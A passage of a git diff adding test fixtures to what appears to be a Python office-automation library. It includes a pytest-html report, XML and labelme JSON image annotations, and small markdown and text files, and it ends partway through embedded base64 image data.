+ border-bottom: 8px solid #999;
+}
+.desc.active .sort-icon {
+ /*finish triangle*/
+ border-top: 8px solid #999;
+}
diff --git a/tests/report.html b/tests/report.html
new file mode 100644
index 0000000..2e5dae3
--- /dev/null
+++ b/tests/report.html
@@ -0,0 +1,627 @@
+
+
+
+
+ Test Report
+
+
+
+ report.html
+ Report generated on 17-Sep-2022 at 19:41:27 by pytest-html v3.1.1
+ Environment
+
+
+ Packages
+ {"pluggy": "1.0.0", "py": "1.11.0", "pytest": "7.1.3"}
+
+ Platform
+ Windows-10-10.0.22622-SP0
+
+ Plugins
+ {"Faker": "14.2.0", "html": "3.1.1", "metadata": "2.0.2"}
+
+ Python
+ 3.9.9
+ Summary
+ 30 tests ran in 21.53 seconds.
+ (Un)check the boxes to filter the results.
29 passed , 2 skipped , 1 failed , 0 errors , 0 expected failures , 0 unexpected passes
+ Results
+
+
+
+ Result
+ Test
+ Duration
+ Links
+
+ No results found. Try to check the filters
+
+
+ Failed
+ tests/test_unit/test_excel.py::TestExcel::test_merge2excel
+ 0.00
+
+
+
+
+
+ Skipped
+ tests/test_unit/test_tools.py::TestTools::test_lottery8ticket
+ 0.00
+
+
+
+
+
+ Skipped
+ tests/test_unit/test_tools.py::TestTools::test_weather
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_excel.py::TestExcel::test_fake2excel
+ 0.36
+
+
+
+
+
+ Passed
+ tests/test_unit/test_excel.py::TestExcel::test_find_excel_data
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_excel.py::TestExcel::test_merge2sheet
+ 0.05
+
+
+
+
+
+ Passed
+ tests/test_unit/test_excel.py::TestExcel::test_sheet2excel
+ 0.19
+
+
+
+
+
+ Passed
+ tests/test_unit/test_excel.py::TestExcel::test_split_excel_by_column
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_file.py::TestFile::test_file_name_add_postfix
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_file.py::TestFile::test_file_name_add_prefix
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_file.py::TestFile::test_file_name_insert_content
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_file.py::TestFile::test_output_file_list_to_excel
+ 0.01
+
+
+
+
+
+ Passed
+ tests/test_unit/test_file.py::TestFile::test_replace4filename
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_file.py::TestFile::test_search_specify_type_file
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_image.py::TestImage::test_add_watermark
+ 0.03
+
+
+
+
+
+ Passed
+ tests/test_unit/test_image.py::TestImage::test_down4img
+ 0.62
+
+
+
+
+
+ Passed
+ tests/test_unit/test_pdf.py::TestPDF::test_add_img_water
+ 0.03
+
+
+
+
+
+ Passed
+ tests/test_unit/test_pdf.py::TestPDF::test_add_watermark
+ 0.07
+
+
+
+
+
+ Passed
+ tests/test_unit/test_pdf.py::TestPDF::test_add_watermark_by_parameters
+ 0.13
+
+
+
+
+
+ Passed
+ tests/test_unit/test_pdf.py::TestPDF::test_decrypt4pdf
+ 0.19
+
+
+
+
+
+ Passed
+ tests/test_unit/test_pdf.py::TestPDF::test_encrypt4pdf
+ 0.20
+
+
+
+
+
+ Passed
+ tests/test_unit/test_pdf.py::TestPDF::test_merge2pdf
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_pdf.py::TestPDF::test_pdf2docx
+ 0.07
+
+
+
+
+
+ Passed
+ tests/test_unit/test_pdf.py::TestPDF::test_pdf2imgs
+ 0.02
+
+
+
+
+
+ Passed
+ tests/test_unit/test_ppt.py::TestPPT::test_ppt2pdf
+ 10.41
+
+
+
+
+
+ Passed
+ tests/test_unit/test_ruiming.py::TestRuiming::test_change_label_in_xml
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_ruiming.py::TestRuiming::test_screen_unmarked_image
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_ruiming.py::TestRuiming::test_screen_without_label_json_file
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_search_by_content.py::TestSBC::test_search_by_content
+ 0.01
+
+
+
+
+
+ Passed
+ tests/test_unit/test_tools.py::TestTools::test_create_article
+ 0.00
+
+
+
+
+
+ Passed
+ tests/test_unit/test_tools.py::TestTools::test_url2ip
+ 0.24
+
+
+
+
+
+ Passed
+ tests/test_unit/test_wechat.py::TestWechat::test_send_file
+ 5.28
+
+
+
\ No newline at end of file
diff --git a/tests/test_files/docx/demo.docx b/tests/test_files/docx/demo.docx
new file mode 100644
index 0000000..9bc5c0b
Binary files /dev/null and b/tests/test_files/docx/demo.docx differ
diff --git a/tests/test_files/excel/fake2excel.xlsx b/tests/test_files/excel/fake2excel.xlsx
new file mode 100644
index 0000000..34d5294
Binary files /dev/null and b/tests/test_files/excel/fake2excel.xlsx differ
diff --git a/tests/test_files/excel/merge2sheet/fake2excel-1.xlsx b/tests/test_files/excel/merge2sheet/fake2excel-1.xlsx
new file mode 100644
index 0000000..2f425cd
Binary files /dev/null and b/tests/test_files/excel/merge2sheet/fake2excel-1.xlsx differ
diff --git a/tests/test_files/excel/merge2sheet/fake2excel.xlsx b/tests/test_files/excel/merge2sheet/fake2excel.xlsx
new file mode 100644
index 0000000..df3379d
Binary files /dev/null and b/tests/test_files/excel/merge2sheet/fake2excel.xlsx differ
diff --git a/tests/test_files/excel/merge2sheet/merge2sheet.xlsx b/tests/test_files/excel/merge2sheet/merge2sheet.xlsx
new file mode 100644
index 0000000..1477e91
Binary files /dev/null and b/tests/test_files/excel/merge2sheet/merge2sheet.xlsx differ
diff --git a/tests/test_files/images/0816.jpg b/tests/test_files/images/0816.jpg
new file mode 100644
index 0000000..d608fc1
Binary files /dev/null and b/tests/test_files/images/0816.jpg differ
diff --git a/tests/test_files/images/pencil4img.jpg b/tests/test_files/images/pencil4img.jpg
new file mode 100644
index 0000000..9306e9f
Binary files /dev/null and b/tests/test_files/images/pencil4img.jpg differ
diff --git a/tests/test_files/markdown/test.md b/tests/test_files/markdown/test.md
new file mode 100644
index 0000000..3bc3fb6
--- /dev/null
+++ b/tests/test_files/markdown/test.md
@@ -0,0 +1,13 @@
+
+
+## Sheet1
+
+| name |
+| --- |
+| 黄莉 |
+
+## Sheet2
+
+| name |
+| --- |
+| 黄莉 |
diff --git a/tests/test_files/md/test.txt b/tests/test_files/md/test.txt
new file mode 100644
index 0000000..9ebf6c7
--- /dev/null
+++ b/tests/test_files/md/test.txt
@@ -0,0 +1 @@
+程序员晚枫
\ No newline at end of file
diff --git a/tests/test_files/pdf/add_img.docx b/tests/test_files/pdf/add_img.docx
new file mode 100644
index 0000000..6c5b117
Binary files /dev/null and b/tests/test_files/pdf/add_img.docx differ
diff --git a/tests/test_files/pdf/add_img.pdf b/tests/test_files/pdf/add_img.pdf
new file mode 100644
index 0000000..d8275b4
Binary files /dev/null and b/tests/test_files/pdf/add_img.pdf differ
diff --git a/tests/test_files/pdf/encrypt.pdf b/tests/test_files/pdf/encrypt.pdf
new file mode 100644
index 0000000..60b6d3b
Binary files /dev/null and b/tests/test_files/pdf/encrypt.pdf differ
diff --git a/tests/test_files/pdf/images_0.png b/tests/test_files/pdf/images_0.png
new file mode 100644
index 0000000..c464f00
Binary files /dev/null and b/tests/test_files/pdf/images_0.png differ
diff --git a/tests/test_files/pdf/in.docx b/tests/test_files/pdf/in.docx
new file mode 100644
index 0000000..026a73e
Binary files /dev/null and b/tests/test_files/pdf/in.docx differ
diff --git a/tests/test_files/pdf/in.pdf b/tests/test_files/pdf/in.pdf
new file mode 100644
index 0000000..7b4aa5b
Binary files /dev/null and b/tests/test_files/pdf/in.pdf differ
diff --git a/tests/test_files/pdf/merge2pdf.pdf b/tests/test_files/pdf/merge2pdf.pdf
new file mode 100644
index 0000000..ae7ee19
Binary files /dev/null and b/tests/test_files/pdf/merge2pdf.pdf differ
diff --git a/tests/test_files/ppt/test_pdf.pdf b/tests/test_files/ppt/test_pdf.pdf
new file mode 100644
index 0000000..e69de29
diff --git a/tests/test_files/ppt/test_pdf.pptx b/tests/test_files/ppt/test_pdf.pptx
new file mode 100644
index 0000000..ca97bd6
Binary files /dev/null and b/tests/test_files/ppt/test_pdf.pptx differ
diff --git "a/tests/test_files/ppt/\346\260\264\345\215\260/test_pdf.pdf" "b/tests/test_files/ppt/\346\260\264\345\215\260/test_pdf.pdf"
new file mode 100644
index 0000000..87a23a8
Binary files /dev/null and "b/tests/test_files/ppt/\346\260\264\345\215\260/test_pdf.pdf" differ
diff --git "a/tests/test_files/ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\347\232\204\346\226\207\346\241\243.pptx" "b/tests/test_files/ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\347\232\204\346\226\207\346\241\243.pptx"
new file mode 100644
index 0000000..1002e46
Binary files /dev/null and "b/tests/test_files/ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\347\232\204\346\226\207\346\241\243.pptx" differ
diff --git a/tests/test_files/ruiming/change_label_in_xml/testfile.xml b/tests/test_files/ruiming/change_label_in_xml/testfile.xml
new file mode 100644
index 0000000..8da5557
--- /dev/null
+++ b/tests/test_files/ruiming/change_label_in_xml/testfile.xml
@@ -0,0 +1,38 @@
+
+ 伸缩缝断裂
+ 1.jpg
+ C:\Users\37386\Desktop\伸缩缝断裂\1.jpg
+
+ Unknown
+
+
+ 500
+ 889
+ 3
+
+ 0
+
+ 测试
+ Unspecified
+ 1
+ 0
+
+ 91
+ 5
+ 495
+ 889
+
+
+
+ 测试
+ Unspecified
+ 0
+ 0
+
+ 22
+ 260
+ 266
+ 476
+
+
+
\ No newline at end of file
diff --git a/tests/test_files/ruiming/change_label_in_xml/testfile1.xml b/tests/test_files/ruiming/change_label_in_xml/testfile1.xml
new file mode 100644
index 0000000..8da5557
--- /dev/null
+++ b/tests/test_files/ruiming/change_label_in_xml/testfile1.xml
@@ -0,0 +1,38 @@
+
+ 伸缩缝断裂
+ 1.jpg
+ C:\Users\37386\Desktop\伸缩缝断裂\1.jpg
+
+ Unknown
+
+
+ 500
+ 889
+ 3
+
+ 0
+
+ 测试
+ Unspecified
+ 1
+ 0
+
+ 91
+ 5
+ 495
+ 889
+
+
+
+ 测试
+ Unspecified
+ 0
+ 0
+
+ 22
+ 260
+ 266
+ 476
+
+
+
\ No newline at end of file
diff --git a/tests/test_files/ruiming/screen_unmarked_image/1.jpg b/tests/test_files/ruiming/screen_unmarked_image/1.jpg
new file mode 100644
index 0000000..e69de29
diff --git a/tests/test_files/ruiming/screen_unmarked_image/1.xml b/tests/test_files/ruiming/screen_unmarked_image/1.xml
new file mode 100644
index 0000000..e69de29
diff --git a/tests/test_files/ruiming/screen_without_label_json_file/1.json b/tests/test_files/ruiming/screen_without_label_json_file/1.json
new file mode 100644
index 0000000..7a61790
--- /dev/null
+++ b/tests/test_files/ruiming/screen_without_label_json_file/1.json
@@ -0,0 +1,34 @@
+{
+ "version": "5.0.1",
+ "flags": {},
+ "shapes": [
+ {
+ "label": "advert",
+ "points": [
+ [
+ 236.7619047619047,
+ 334.1904761904762
+ ],
+ [
+ 288.19047619047615,
+ 358.95238095238096
+ ],
+ [
+ 272.95238095238096,
+ 372.2857142857143
+ ],
+ [
+ 216.7619047619047,
+ 318.95238095238096
+ ]
+ ],
+ "group_id": null,
+ "shape_type": "polygon",
+ "flags": {}
+ }
+ ],
+ "imagePath": "1.jpg",
+ "imageData": "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